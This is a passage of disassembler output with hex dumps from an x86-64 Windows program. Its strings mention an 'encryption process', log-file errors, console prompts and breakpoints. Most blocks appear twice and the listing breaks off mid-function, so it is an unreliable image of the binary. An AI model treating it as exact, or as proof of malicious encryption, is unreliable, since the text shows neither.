00438bb0 65 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 e. .e.n.c.r.y.p.
00438bc0 74 00 69 00 6f 00 6e 00 20 00 74 00 69 00 6d 00 t.i.o.n. .t.i.m.
00438bd0 65 00 2e 00 20 00 50 00 6c 00 65 00 61 00 73 00 e... .P.l.e.a.s.
00438be0 65 00 20 00 77 00 61 00 69 00 74 00 20 00 66 00 e. .w.a.i.t. .f.
00438bf0 6f 00 72 00 20 00 74 00 68 00 65 00 20 00 65 00 o.r. .t.h.e. .e.
00438c00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 n.c.r.y.p.t.i.o.
00438c10 6e 00 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 n. .p.r.o.c.e.s.
00438c20 73 00 20 00 74 00 6f 00 20 00 63 00 6f 00 6d 00 s. .t.o. .c.o.m.
00438c30 70 00 6c 00 65 00 74 00 65 00 2e 00 00 00 cc cc p.l.e.t.e.......
00438c40
00438c40fn_438c40:
00438c40push rbp
00438c41sub rsp, 64
00438c45mov rbp, rsp
00438c48mov [rbp+32], 0
00438c50mov [rbp+40], rbp
00438c54nop
00438c55mov [rbp+63], 1
00438c59nop
00438c5alea rcx, [rip+0x377cf]
00438c61mov rdx, [rip+0x37ac0]
00438c68xor r8, r8
00438c6bcall fn_4067d0
00438c70call fn_405a40
00438c75lea rcx, [rip+0x377b4]
00438c7ccall fn_406360
00438c81call fn_405a40
00438c86lea rcx, [rip+0x377a3]
00438c8dcall fn_406380
00438c92call fn_405a40
00438c97lea rcx, [rbp+32]
00438c9bmov rdx, [rip+0x37a86]
00438ca2call fn_40d850
00438ca7mov rcx, [rbp+32]
00438cabcall fn_42fe80
00438cb0test al, al
00438cb2jne 0x438d31
00438cb4lea rcx, [rip+0x37775]
00438cbbcall fn_406940
00438cc0call fn_405a40
00438cc5mov [rbp+63], 0
00438cc9lea rcx, [rip+180]
00438cd0xor edx, edx
00438cd2call fn_439060
00438cd7lea rcx, [rip+286]
00438cdexor edx, edx
00438ce0call fn_439060
00438ce5mov rcx, [rip+0x2b3c4]
00438ceccall fn_4078c0
00438cf1call fn_405a40
00438cf6jmp 0x438d31
00438cf8
00438cf8 90 90 c6 45 3f 00 48 8d ...E?.H.
00438d00 0d 7f 00 00 00 33 d2 e8 54 03 00 00 48 8d 0d e9 .....3..T...H...
00438d10 00 00 00 33 d2 e8 46 03 00 00 48 8b 0d 8f b3 02 ...3..F...H.....
00438d20 00 e8 9a eb fc ff e8 15 cd fc ff e8 f0 23 fd ff .............#..
00438d30 90 .
00438d31
00438d31loc_438d31:
00438d31nop
00438d32lea rcx, [rbp+32]
00438d36call fn_40bd90
00438d3bmovzx rax, [rbp+63]
00438d40lea rsp, [rbp+64]
00438d44pop rbp
00438d45ret
00438c40
00438c40fn_438c40:
00438c40push rbp
00438c41sub rsp, 64
00438c45mov rbp, rsp
00438c48mov [rbp+32], 0
00438c50mov [rbp+40], rbp
00438c54nop
00438c55mov [rbp+63], 1
00438c59nop
00438c5alea rcx, [rip+0x377cf]
00438c61mov rdx, [rip+0x37ac0]
00438c68xor r8, r8
00438c6bcall fn_4067d0
00438c70call fn_405a40
00438c75lea rcx, [rip+0x377b4]
00438c7ccall fn_406360
00438c81call fn_405a40
00438c86lea rcx, [rip+0x377a3]
00438c8dcall fn_406380
00438c92call fn_405a40
00438c97lea rcx, [rbp+32]
00438c9bmov rdx, [rip+0x37a86]
00438ca2call fn_40d850
00438ca7mov rcx, [rbp+32]
00438cabcall fn_42fe80
00438cb0test al, al
00438cb2jne 0x438d31
00438cb4lea rcx, [rip+0x37775]
00438cbbcall fn_406940
00438cc0call fn_405a40
00438cc5mov [rbp+63], 0
00438cc9lea rcx, [rip+180]
00438cd0xor edx, edx
00438cd2call fn_439060
00438cd7lea rcx, [rip+286]
00438cdexor edx, edx
00438ce0call fn_439060
00438ce5mov rcx, [rip+0x2b3c4]
00438ceccall fn_4078c0
00438cf1call fn_405a40
00438cf6jmp 0x438d31
00438cf8
00438cf8 90 90 c6 45 3f 00 48 8d ...E?.H.
00438d00 0d 7f 00 00 00 33 d2 e8 54 03 00 00 48 8d 0d e9 .....3..T...H...
00438d10 00 00 00 33 d2 e8 46 03 00 00 48 8b 0d 8f b3 02 ...3..F...H.....
00438d20 00 e8 9a eb fc ff e8 15 cd fc ff e8 f0 23 fd ff .............#..
00438d30 90 .
00438d31
00438d31loc_438d31:
00438d31nop
00438d32lea rcx, [rbp+32]
00438d36call fn_40bd90
00438d3bmovzx rax, [rbp+63]
00438d40lea rsp, [rbp+64]
00438d44pop rbp
00438d45ret
00438c40
00438d46
00438d46 48 90 48 8d 04 05 00 00 00 00 H.H.......
00438d46 48 90 48 8d 04 05 00 00 00 00 H.H.......
00438d50
00438d50fn_438d50:
00438d50sub rsp, 40
00438d54call fn_40b050
00438d59add rsp, 40
00438d5dret
00438d50
00438d50fn_438d50:
00438d50sub rsp, 40
00438d54call fn_40b050
00438d59add rsp, 40
00438d5dret
00438d50
00438d5e
00438d5e 48 90 H.
00438d5e 48 90 H.
00438d60
00438d60fn_438d60:
00438d60push rbp
00438d61sub rsp, 32
00438d65mov rbp, rsp
00438d68lea rcx, [rdx+32]
00438d6ccall fn_40bd90
00438d71lea rsp, [rbp+32]
00438d75pop rbp
00438d76ret
00438d60
00438d60fn_438d60:
00438d60push rbp
00438d61sub rsp, 32
00438d65mov rbp, rsp
00438d68lea rcx, [rdx+32]
00438d6ccall fn_40bd90
00438d71lea rsp, [rbp+32]
00438d75pop rbp
00438d76ret
00438d60
00438d77
00438d77 00 b0 04 02 00 ff ff ff ff .........
00438d80 35 00 00 00 45 00 52 00 52 00 4f 00 52 00 3a 00 5...E.R.R.O.R.:.
00438d90 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 69 00 .C.a.n.'.t. .i.
00438da0 6e 00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 n.i.t.i.a.l.i.z.
00438db0 65 00 20 00 6c 00 6f 00 67 00 20 00 66 00 69 00 e. .l.o.g. .f.i.
00438dc0 6c 00 65 00 2e 00 20 00 50 00 72 00 6f 00 63 00 l.e... .P.r.o.c.
00438dd0 65 00 73 00 73 00 20 00 74 00 65 00 72 00 6d 00 e.s.s. .t.e.r.m.
00438de0 69 00 61 00 6e 00 74 00 65 00 64 00 2e 00 00 00 i.a.n.t.e.d.....
00438df0 b0 04 02 00 ff ff ff ff 1a 00 00 00 50 00 72 00 ............P.r.
00438e00 65 00 73 00 73 00 20 00 65 00 6e 00 74 00 65 00 e.s.s. .e.n.t.e.
00438e10 72 00 20 00 74 00 6f 00 20 00 63 00 6f 00 6e 00 r. .t.o. .c.o.n.
00438e20 74 00 69 00 6e 00 75 00 65 00 2e 00 2e 00 2e t.i.n.u.e......
00438d77 00 b0 04 02 00 ff ff ff ff .........
00438d80 35 00 00 00 45 00 52 00 52 00 4f 00 52 00 3a 00 5...E.R.R.O.R.:.
00438d90 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 69 00 .C.a.n.'.t. .i.
00438da0 6e 00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 n.i.t.i.a.l.i.z.
00438db0 65 00 20 00 6c 00 6f 00 67 00 20 00 66 00 69 00 e. .l.o.g. .f.i.
00438dc0 6c 00 65 00 2e 00 20 00 50 00 72 00 6f 00 63 00 l.e... .P.r.o.c.
00438dd0 65 00 73 00 73 00 20 00 74 00 65 00 72 00 6d 00 e.s.s. .t.e.r.m.
00438de0 69 00 61 00 6e 00 74 00 65 00 64 00 2e 00 00 00 i.a.n.t.e.d.....
00438df0 b0 04 02 00 ff ff ff ff 1a 00 00 00 50 00 72 00 ............P.r.
00438e00 65 00 73 00 73 00 20 00 65 00 6e 00 74 00 65 00 e.s.s. .e.n.t.e.
00438e10 72 00 20 00 74 00 6f 00 20 00 63 00 6f 00 6e 00 r. .t.o. .c.o.n.
00438e20 74 00 69 00 6e 00 75 00 65 00 2e 00 2e 00 2e t.i.n.u.e......
00438e34
00438e34 // align 0x10
00438e34 // align 0x10
00438e40
00438e40fn_438e40:
00438e40push rbp
00438e41sub rsp, 48
00438e45mov rbp, rsp
00438e48mov [rbp+40], rbp
00438e4cmov [rbp+64], rcx
00438e50mov [rbp+72], dl
00438e53mov rcx, [rbp+64]
00438e57call fn_40bec0
00438e5cnop
00438e5dxor ecx, ecx
00438e5fcall fn_438b00
00438e64mov rax, [rip+0x2b155]
00438e6bcmp [rax+308], 0
00438e72je 0x438f6b
00438e78mov rcx, [rip+0x2b0d1]
00438e7fmov rdx, [rbp+64]
00438e83call fn_4080c0
00438e88mov rcx, rax
00438e8bcall fn_406920
00438e90call fn_405a40
00438e95cmp [rip+0x37894], 0
00438e9cje 0x438f10
00438e9ecmp [rbp+72], 0
00438ea2je 0x438f10
00438ea4nop
00438ea5lea rcx, [rip+0x37584]
00438eacmov rdx, [rbp+64]
00438eb0call fn_4080c0
00438eb5mov rcx, rax
00438eb8call fn_406920
00438ebdcall fn_405a40
00438ec2jmp 0x438f10
00438ec4
00438ec4 90 90 48 8d 0d 63 75 03 00 e8 6e da ..H..cu...n.
00438ed0 fc ff e8 69 cb fc ff 48 8b 0d 72 b0 02 00 48 8d ...i...H..r...H.
00438ee0 15 cf 00 00 00 e8 d6 f1 fc ff 48 89 c1 e8 2e da ..........H.....
00438ef0 fc ff e8 49 cb fc ff 48 8b 0d b2 b1 02 00 e8 bd ...I...H........
00438f00 e9 fc ff e8 38 cb fc ff eb cd e8 11 22 fd ff 90 ....8......."...
00438f10
00438f10loc_438f10:
00438f10mov rax, [rip+0x2b109]
00438f17cmp [rax+2], 0
00438f1bje 0x438f6a
00438f1dmov rax, [rip+0x2b0fc]
00438f24mov [rax+2], 0
00438f28mov rcx, [rip+0x2b021]
00438f2fxor edx, edx
00438f31call fn_4080c0
00438f36mov rcx, rax
00438f39call fn_408220
00438f3ecall fn_405a40
00438f43mov rcx, [rip+0x2b006]
00438f4alea rdx, [rip+231]
00438f51call fn_4080c0
00438f56mov rcx, rax
00438f59call fn_408220
00438f5ecall fn_405a40
00438f63mov cl, 1
00438f65call fn_4392a0
00438f6a
00438f6aloc_438f6a:
00438f6anop
00438f6b
00438f6bloc_438f6b:
00438f6blea rcx, [rbp+64]
00438f6fcall fn_40bcf0
00438f74lea rsp, [rbp+48]
00438f78pop rbp
00438f79ret
00438e40
00438e40fn_438e40:
00438e40push rbp
00438e41sub rsp, 48
00438e45mov rbp, rsp
00438e48mov [rbp+40], rbp
00438e4cmov [rbp+64], rcx
00438e50mov [rbp+72], dl
00438e53mov rcx, [rbp+64]
00438e57call fn_40bec0
00438e5cnop
00438e5dxor ecx, ecx
00438e5fcall fn_438b00
00438e64mov rax, [rip+0x2b155]
00438e6bcmp [rax+308], 0
00438e72je 0x438f6b
00438e78mov rcx, [rip+0x2b0d1]
00438e7fmov rdx, [rbp+64]
00438e83call fn_4080c0
00438e88mov rcx, rax
00438e8bcall fn_406920
00438e90call fn_405a40
00438e95cmp [rip+0x37894], 0
00438e9cje 0x438f10
00438e9ecmp [rbp+72], 0
00438ea2je 0x438f10
00438ea4nop
00438ea5lea rcx, [rip+0x37584]
00438eacmov rdx, [rbp+64]
00438eb0call fn_4080c0
00438eb5mov rcx, rax
00438eb8call fn_406920
00438ebdcall fn_405a40
00438ec2jmp 0x438f10
00438ec4
00438ec4 90 90 48 8d 0d 63 75 03 00 e8 6e da ..H..cu...n.
00438ed0 fc ff e8 69 cb fc ff 48 8b 0d 72 b0 02 00 48 8d ...i...H..r...H.
00438ee0 15 cf 00 00 00 e8 d6 f1 fc ff 48 89 c1 e8 2e da ..........H.....
00438ef0 fc ff e8 49 cb fc ff 48 8b 0d b2 b1 02 00 e8 bd ...I...H........
00438f00 e9 fc ff e8 38 cb fc ff eb cd e8 11 22 fd ff 90 ....8......."...
00438f10
00438f10loc_438f10:
00438f10mov rax, [rip+0x2b109]
00438f17cmp [rax+2], 0
00438f1bje 0x438f6a
00438f1dmov rax, [rip+0x2b0fc]
00438f24mov [rax+2], 0
00438f28mov rcx, [rip+0x2b021]
00438f2fxor edx, edx
00438f31call fn_4080c0
00438f36mov rcx, rax
00438f39call fn_408220
00438f3ecall fn_405a40
00438f43mov rcx, [rip+0x2b006]
00438f4alea rdx, [rip+231]
00438f51call fn_4080c0
00438f56mov rcx, rax
00438f59call fn_408220
00438f5ecall fn_405a40
00438f63mov cl, 1
00438f65call fn_4392a0
00438f6a
00438f6aloc_438f6a:
00438f6anop
00438f6b
00438f6bloc_438f6b:
00438f6blea rcx, [rbp+64]
00438f6fcall fn_40bcf0
00438f74lea rsp, [rbp+48]
00438f78pop rbp
00438f79ret
00438e40
00438f7a
00438f7a 64 48 8d 44 20 00 dH.D .
00438f7a 64 48 8d 44 20 00 dH.D .
00438f80
00438f80fn_438f80:
00438f80sub rsp, 40
00438f84call fn_40b050
00438f89add rsp, 40
00438f8dret
00438f80
00438f80fn_438f80:
00438f80sub rsp, 40
00438f84call fn_40b050
00438f89add rsp, 40
00438f8dret
00438f80
00438f8e
00438f8e 48 90 H.
00438f8e 48 90 H.
00438f90
00438f90fn_438f90:
00438f90push rbp
00438f91sub rsp, 32
00438f95mov rbp, rsp
00438f98lea rcx, [rdx+64]
00438f9ccall fn_40bcf0
00438fa1lea rsp, [rbp+32]
00438fa5pop rbp
00438fa6ret
00438f90
00438f90fn_438f90:
00438f90push rbp
00438f91sub rsp, 32
00438f95mov rbp, rsp
00438f98lea rcx, [rdx+64]
00438f9ccall fn_40bcf0
00438fa1lea rsp, [rbp+32]
00438fa5pop rbp
00438fa6ret
00438f90
00438fa7
00438fa7 00 b0 04 02 00 ff ff ff ff .........
00438fb0 3b 00 00 00 45 00 52 00 52 00 4f 00 52 00 3a 00 ;...E.R.R.O.R.:.
00438fc0 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 77 00 .C.a.n.'.t. .w.
00438fd0 72 00 69 00 74 00 65 00 20 00 74 00 6f 00 20 00 r.i.t.e. .t.o. .
00438fe0 6c 00 6f 00 67 00 20 00 66 00 69 00 6c 00 65 00 l.o.g. .f.i.l.e.
00438ff0 2e 00 20 00 50 00 72 00 6f 00 63 00 65 00 73 00 .. .P.r.o.c.e.s.
00439000 73 00 20 00 6d 00 75 00 73 00 74 00 20 00 62 00 s. .m.u.s.t. .b.
00439010 65 00 20 00 74 00 65 00 72 00 6d 00 69 00 6e 00 e. .t.e.r.m.i.n.
00439020 61 00 74 00 65 00 64 00 2e 00 00 00 b0 04 02 00 a.t.e.d.........
00439030 ff ff ff ff 0c 00 00 00 42 00 52 00 45 00 41 00 ........B.R.E.A.
00439040 4b 00 20 00 50 00 4f 00 49 00 4e 00 54 00 3a 00 K. .P.O.I.N.T.:.
00439050 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc ................
00438fa7 00 b0 04 02 00 ff ff ff ff .........
00438fb0 3b 00 00 00 45 00 52 00 52 00 4f 00 52 00 3a 00 ;...E.R.R.O.R.:.
00438fc0 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 77 00 .C.a.n.'.t. .w.
00438fd0 72 00 69 00 74 00 65 00 20 00 74 00 6f 00 20 00 r.i.t.e. .t.o. .
00438fe0 6c 00 6f 00 67 00 20 00 66 00 69 00 6c 00 65 00 l.o.g. .f.i.l.e.
00438ff0 2e 00 20 00 50 00 72 00 6f 00 63 00 65 00 73 00 .. .P.r.o.c.e.s.
00439000 73 00 20 00 6d 00 75 00 73 00 74 00 20 00 62 00 s. .m.u.s.t. .b.
00439010 65 00 20 00 74 00 65 00 72 00 6d 00 69 00 6e 00 e. .t.e.r.m.i.n.
00439020 61 00 74 00 65 00 64 00 2e 00 00 00 b0 04 02 00 a.t.e.d.........
00439030 ff ff ff ff 0c 00 00 00 42 00 52 00 45 00 41 00 ........B.R.E.A.
00439040 4b 00 20 00 50 00 4f 00 49 00 4e 00 54 00 3a 00 K. .P.O.I.N.T.:.
00439050 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc ................
00439060
00439060fn_439060:
00439060push rbp
00439061sub rsp, 48
00439065mov rbp, rsp
00439068mov [rbp+40], rbp
0043906cmov [rbp+64], rcx
00439070mov [rbp+72], dl
00439073mov rcx, [rbp+64]
00439077call fn_40bec0
0043907cnop
0043907dxor ecx, ecx
0043907fcall fn_438b00
00439084mov rax, [rip+0x2af35]
0043908bcmp [rax+308], 0
00439092je 0x439170
00439098mov rcx, [rip+0x2aeb1]
0043909fmov rdx, [rbp+64]
004390a3call fn_4080c0
004390a8mov rcx, rax
004390abcall fn_408220
004390b0call fn_405a40
004390b5cmp [rip+0x37674], 0
004390bcje 0x439130
004390becmp [rbp+72], 0
004390c2je 0x439130
004390c4nop
004390c5lea rcx, [rip+0x37364]
004390ccmov rdx, [rbp+64]
004390d0call fn_4080c0
004390d5mov rcx, rax
004390d8call fn_408220
004390ddcall fn_405a40
004390e2jmp 0x439130
004390e4
004390e4 90 90 48 8d 0d 43 73 03 00 e8 4e d8 ..H..Cs...N.
004390f0 fc ff e8 49 c9 fc ff 48 8b 0d 52 ae 02 00 48 8d ...I...H..R...H.
00439100 15 af 00 00 00 e8 b6 ef fc ff 48 89 c1 e8 0e d8 ..........H.....
00439110 fc ff e8 29 c9 fc ff 48 8b 0d 92 af 02 00 e8 9d ...)...H........
00439120 e7 fc ff e8 18 c9 fc ff eb cd e8 f1 1f fd ff 90 ................
00439130
00439130loc_439130:
00439130mov rax, [rip+0x2aee9]
00439137cmp [rax+2], 0
0043913bje 0x43916f
0043913dmov rax, [rip+0x2aedc]
00439144mov [rax+2], 0
00439148mov rcx, [rip+0x2ae01]
0043914flea rdx, [rip+226]
00439156call fn_4080c0
0043915bmov rcx, rax
0043915ecall fn_408220
00439163call fn_405a40
00439168mov cl, 1
0043916acall fn_4392a0
0043916f
0043916floc_43916f:
0043916fnop
00439170
00439170loc_439170:
00439170lea rcx, [rbp+64]
00439174call fn_40bcf0
00439179lea rsp, [rbp+48]
0043917dpop rbp
0043917eret
00439060
00439060fn_439060:
00439060push rbp
00439061sub rsp, 48
00439065mov rbp, rsp
00439068mov [rbp+40], rbp
0043906cmov [rbp+64], rcx
00439070mov [rbp+72], dl
00439073mov rcx, [rbp+64]
00439077call fn_40bec0
0043907cnop
0043907dxor ecx, ecx
0043907fcall fn_438b00
00439084mov rax, [rip+0x2af35]
0043908bcmp [rax+308], 0
00439092je 0x439170
00439098mov rcx, [rip+0x2aeb1]
0043909fmov rdx, [rbp+64]
004390a3call fn_4080c0
004390a8mov rcx, rax
004390abcall fn_408220
004390b0call fn_405a40
004390b5cmp [rip+0x37674], 0
004390bcje 0x439130
004390becmp [rbp+72], 0
004390c2je 0x439130
004390c4nop
004390c5lea rcx, [rip+0x37364]
004390ccmov rdx, [rbp+64]
004390d0call fn_4080c0
004390d5mov rcx, rax
004390d8call fn_408220
004390ddcall fn_405a40
004390e2jmp 0x439130
004390e4
004390e4 90 90 48 8d 0d 43 73 03 00 e8 4e d8 ..H..Cs...N.
004390f0 fc ff e8 49 c9 fc ff 48 8b 0d 52 ae 02 00 48 8d ...I...H..R...H.
00439100 15 af 00 00 00 e8 b6 ef fc ff 48 89 c1 e8 0e d8 ..........H.....
00439110 fc ff e8 29 c9 fc ff 48 8b 0d 92 af 02 00 e8 9d ...)...H........
00439120 e7 fc ff e8 18 c9 fc ff eb cd e8 f1 1f fd ff 90 ................
00439130
00439130loc_439130:
00439130mov rax, [rip+0x2aee9]
00439137cmp [rax+2], 0
0043913bje 0x43916f
0043913dmov rax, [rip+0x2aedc]
00439144mov [rax+2], 0
00439148mov rcx, [rip+0x2ae01]
0043914flea rdx, [rip+226]
00439156call fn_4080c0
0043915bmov rcx, rax
0043915ecall fn_408220
00439163call fn_405a40
00439168mov cl, 1
0043916acall fn_4392a0
0043916f
0043916floc_43916f:
0043916fnop
00439170
00439170loc_439170:
00439170lea rcx, [rbp+64]
00439174call fn_40bcf0
00439179lea rsp, [rbp+48]
0043917dpop rbp
0043917eret
00439060
0043917f
0043917f // align 0x10
0043917f // align 0x10
00439180
00439180fn_439180:
00439180sub rsp, 40
00439184call fn_40b050
00439189add rsp, 40
0043918dret
00439180
00439180fn_439180:
00439180sub rsp, 40
00439184call fn_40b050
00439189add rsp, 40
0043918dret
00439180
0043918e
0043918e 48 90 H.
0043918e 48 90 H.
00439190
00439190fn_439190:
00439190push rbp
00439191sub rsp, 32
00439195mov rbp, rsp
00439198lea rcx, [rdx+64]
0043919ccall fn_40bcf0
004391a1lea rsp, [rbp+32]
004391a5pop rbp
004391a6ret
00439190
00439190fn_439190:
00439190push rbp
00439191sub rsp, 32
00439195mov rbp, rsp
00439198lea rcx, [rdx+64]
0043919ccall fn_40bcf0
004391a1lea rsp, [rbp+32]
004391a5pop rbp
004391a6ret
00439190
004391a7
004391a7 00 b0 04 02 00 ff ff ff ff .........
004391b0 3b 00 00 00 45 00 52 00 52 00 4f 00 52 00 3a 00 ;...E.R.R.O.R.:.
004391c0 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 77 00 .C.a.n.'.t. .w.
004391d0 72 00 69 00 74 00 65 00 20 00 74 00 6f 00 20 00 r.i.t.e. .t.o. .
004391e0 6c 00 6f 00 67 00 20 00 66 00 69 00 6c 00 65 00 l.o.g. .f.i.l.e.
004391f0 2e 00 20 00 50 00 72 00 6f 00 63 00 65 00 73 00 .. .P.r.o.c.e.s.
00439200 73 00 20 00 6d 00 75 00 73 00 74 00 20 00 62 00 s. .m.u.s.t. .b.
00439210 65 00 20 00 74 00 65 00 72 00 6d 00 69 00 6e 00 e. .t.e.r.m.i.n.
00439220 61 00 74 00 65 00 64 00 2e 00 00 00 b0 04 02 00 a.t.e.d.........
00439230 ff ff ff ff 0c 00 00 00 42 00 52 00 45 00 41 00 ........B.R.E.A.
00439240 4b 00 20 00 50 00 4f 00 49 00 4e 00 54 00 3a 00 K. .P.O.I.N.T.:.
00439250 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc ................
004391a7 00 b0 04 02 00 ff ff ff ff .........
004391b0 3b 00 00 00 45 00 52 00 52 00 4f 00 52 00 3a 00 ;...E.R.R.O.R.:.
004391c0 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 77 00 .C.a.n.'.t. .w.
004391d0 72 00 69 00 74 00 65 00 20 00 74 00 6f 00 20 00 r.i.t.e. .t.o. .
004391e0 6c 00 6f 00 67 00 20 00 66 00 69 00 6c 00 65 00 l.o.g. .f.i.l.e.
004391f0 2e 00 20 00 50 00 72 00 6f 00 63 00 65 00 73 00 .. .P.r.o.c.e.s.
00439200 73 00 20 00 6d 00 75 00 73 00 74 00 20 00 62 00 s. .m.u.s.t. .b.
00439210 65 00 20 00 74 00 65 00 72 00 6d 00 69 00 6e 00 e. .t.e.r.m.i.n.
00439220 61 00 74 00 65 00 64 00 2e 00 00 00 b0 04 02 00 a.t.e.d.........
00439230 ff ff ff ff 0c 00 00 00 42 00 52 00 45 00 41 00 ........B.R.E.A.
00439240 4b 00 20 00 50 00 4f 00 49 00 4e 00 54 00 3a 00 K. .P.O.I.N.T.:.
00439250 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc ................
00439260
00439260fn_439260:
00439260sub rsp, 40
00439264mov rax, [rip+0x2ad55]
0043926bcmp [rax+308], 0
00439272je 0x43928e
00439274cmp [rip+0x374b5], 0
0043927bje 0x43928e
0043927dlea rcx, [rip+0x371ac]
00439284call fn_406940
00439289call fn_405a40
0043928e
0043928eloc_43928e:
0043928eadd rsp, 40
00439292ret
00439260
00439260fn_439260:
00439260sub rsp, 40
00439264mov rax, [rip+0x2ad55]
0043926bcmp [rax+308], 0
00439272je 0x43928e
00439274cmp [rip+0x374b5], 0
0043927bje 0x43928e
0043927dlea rcx, [rip+0x371ac]
00439284call fn_406940
00439289call fn_405a40
0043928e
0043928eloc_43928e:
0043928eadd rsp, 40
00439292ret
00439260
00439293
00439293 // align 0x10
00439293 // align 0x10
004392a0
004392a0fn_4392a0:
004392a0push rbp
004392a1sub rsp, 64
004392a5mov rbp, rsp
004392a8mov [rbp+47], cl
004392abmov [rbp+56], 0
004392b3mov [rbp+48], 0
004392bbnop
004392bcmovzx rax, [rbp+47]
004392c1test al, al
004392c3jne 0x4392d5
004392c5mov rax, [rip+0x2ad54]
004392cccmp [rax], 0
004392cfjne 0x43960a
004392d5
004392d5loc_4392d5:
004392d5mov rcx, [rip+0x2ac74]
004392dclea rdx, [rip+869]
004392e3call fn_4080c0
004392e8mov rcx, rax
004392ebcall fn_408220
004392f0call fn_405a40
004392f5mov rcx, [rip+0x2adb4]
004392fclea rdx, [rbp+56]
00439300call fn_407750
00439305mov rcx, [rip+0x2ada4]
0043930ccall fn_4078c0
00439311call fn_405a40
00439316mov rcx, [rbp+56]
0043931alea rdx, [rip+915]
00439321call fn_40dc90
00439326test eax, eax
00439328jne 0x43940d
0043932ecmp [rip+0x373fb], 0
00439335jne 0x439403
0043933bmov rcx, [rip+0x2ac0e]
00439342xor edx, edx
00439344call fn_4080c0
00439349mov rcx, rax
0043934ccall fn_408220
00439351call fn_405a40
00439356mov rcx, [rip+0x2abf3]
0043935dlea rdx, [rip+876]
00439364call fn_4080c0
00439369mov rcx, rax
0043936ccall fn_408220
00439371call fn_405a40
00439376mov rcx, [rip+0x2abd3]
0043937dlea rdx, [rip+940]
00439384call fn_4080c0
00439389mov rcx, rax
0043938ccall fn_408220
00439391call fn_405a40
00439396mov rcx, [rip+0x2abb3]
0043939dlea rdx, [rip+1108]
004393a4call fn_4080c0
004393a9mov rcx, rax
004393accall fn_408220
004393b1call fn_405a40
004393b6mov rcx, [rip+0x2acf3]
004393bdlea rdx, [rbp+48]
004393c1call fn_407750
004393c6mov rcx, [rip+0x2ace3]
004393cdcall fn_4078c0
004393d2call fn_405a40
004393d7mov rcx, [rbp+48]
004393dblea rdx, [rip+1146]
004393e2call fn_40dc90
004393e7test eax, eax
004393e9je 0x439403
004393ebmov rcx, [rbp+48]
004393eflea rdx, [rip+1142]
004393f6call fn_40dc90
004393fbtest eax, eax
004393fdjne 0x4392d5
00439403
00439403loc_439403:
00439403mov rax, [rip+0x2ac16]
0043940amov [rax], 1
0043940d
0043940dloc_43940d:
0043940dmov rcx, [rbp+56]
00439411lea rdx, [rip+1124]
00439418call fn_40dc90
0043941dtest eax, eax
0043941fjne 0x4394ae
00439425mov rcx, [rip+0x2ab24]
0043942clea rdx, [rip+1121]
00439433call fn_4080c0
00439438mov rcx, rax
0043943bcall fn_408220
00439440call fn_405a40
00439445mov rcx, [rip+0x2ac64]
0043944clea rdx, [rbp+48]
00439450call fn_407750
00439455mov rcx, [rip+0x2ac54]
0043945ccall fn_4078c0
00439461call fn_405a40
00439466mov rcx, [rbp+48]
0043946alea rdx, [rip+1003]
00439471call fn_40dc90
00439476test eax, eax
00439478je 0x439492
0043947amov rcx, [rbp+48]
0043947elea rdx, [rip+999]
00439485call fn_40dc90
0043948atest eax, eax
0043948cjne 0x4392d5
00439492
00439492loc_439492:
00439492mov rax, [rip+0x2ab87]
00439499mov [rax+1], 1
0043949dcall fn_439260
004394a2call GetCurrentProcessId
004394a7mov ecx, eax
004394a9call fn_4389b0
004394ae
004394aeloc_4394ae:
004394aemov rcx, [rbp+56]
004394b2lea rdx, [rip+1091]
004394b9call fn_40dc90
004394betest eax, eax
004394c0jne 0x43957d
004394c6cmp [rip+0x37263], 0
004394cdje 0x4394f1
004394cfmov rcx, [rip+0x2aa7a]
004394d6lea rdx, [rip+1083]
004394ddcall fn_4080c0
004394e2mov rcx, rax
004394e5call fn_408220
004394eacall fn_405a40
004394efjmp 0x439511
004394f1
004394f1loc_4394f1:
004394f1mov rcx, [rip+0x2aa58]
004394f8lea rdx, [rip+1237]
004394ffcall fn_4080c0
00439504mov rcx, rax
00439507call fn_408220
0043950ccall fn_405a40
00439511
00439511loc_439511:
00439511mov rcx, [rip+0x2ab98]
00439518lea rdx, [rbp+48]
0043951ccall fn_407750
00439521mov rcx, [rip+0x2ab88]
00439528call fn_4078c0
0043952dcall fn_405a40
00439532mov rcx, [rbp+48]
00439536lea rdx, [rip+799]
0043953dcall fn_40dc90
00439542test eax, eax
00439544je 0x43955e
00439546mov rcx, [rbp+48]
0043954alea rdx, [rip+795]
00439551call fn_40dc90
00439556test eax, eax
00439558jne 0x4392d5
0043955e
0043955eloc_43955e:
0043955ecall FreeConsole
00439563call fn_439260
00439568mov [rip+0x371c1], 0
0043956fmov rax, [rip+0x2aa4a]
00439576mov [rax+308], 0
0043957d
0043957dloc_43957d:
0043957dcmp [rbp+56], 0
00439582je 0x4395e5
00439584mov rcx, [rbp+56]
00439588lea rdx, [rip+293]
0043958fcall fn_40dc90
00439594test eax, eax
00439596je 0x4395e5
00439598mov rcx, [rbp+56]
0043959clea rdx, [rip+729]
004395a3call fn_40dc90
004395a8test eax, eax
004395aaje 0x4395e5
004395acmov rcx, [rbp+56]
004395b0lea rdx, [rip+837]
004395b7call fn_40dc90
004395bctest eax, eax
004395beje 0x4395e5
004395c0mov rcx, [rip+0x2a989]
004395c7lea rdx, [rip+1170]
004395cecall fn_4080c0
004395d3mov rcx, rax
004395d6call fn_408220
004395dbcall fn_405a40
004395e0jmp 0x4392d5
004395e5
004395e5loc_4395e5:
004395e5cmp [rip+0x37144], 0
004395ecje 0x439609
004395eelea rcx, [rip+0x36e3b]
004395f5xor edx, edx
004395f7call fn_4080c0
004395fcmov rcx, rax
004395ffcall fn_408220
00439604call fn_405a40
00439609
00439609loc_439609:
00439609nop
0043960a
0043960aloc_43960a:
0043960alea rcx, [rbp+48]
0043960emov edx, 2
00439613call fn_40bdd0
00439618lea rsp, [rbp+64]
